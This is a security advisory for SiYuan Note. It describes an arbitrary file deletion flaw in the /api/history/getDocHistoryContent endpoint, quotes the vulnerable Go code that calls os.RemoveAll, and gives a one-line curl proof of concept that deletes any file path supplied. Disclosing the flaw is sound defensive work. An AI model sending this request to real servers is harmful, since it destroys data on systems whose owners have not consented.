GHSA-8fx8-pffw-w498: SiYuan has an arbitrary file deletion vulnerability

Summary

A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.

Details

The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.

Sending a request to the /api/history/getDocHistoryContent like:

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

Replace <abs_filepath_of_a_file> with the absolute file path of the target file you wish to delete.

The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.

In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.

if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll

func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {
    if !gulu.File.IsExist(historyPath) {
        logging.LogWarnf("doc history [%s] not exist", historyPath)
        return
    }

    data, err := filelock.ReadFile(historyPath)
    if err != nil {
        logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
        return
    }
    isLargeDoc = 1024*1024*1 <= len(data)

    luteEngine := NewLute()
    historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
    if err != nil {
        logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
        os.RemoveAll(historyPath)
        return
    }
    ...
}

PoC

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

Impact

arbitrary file deletion vulnerability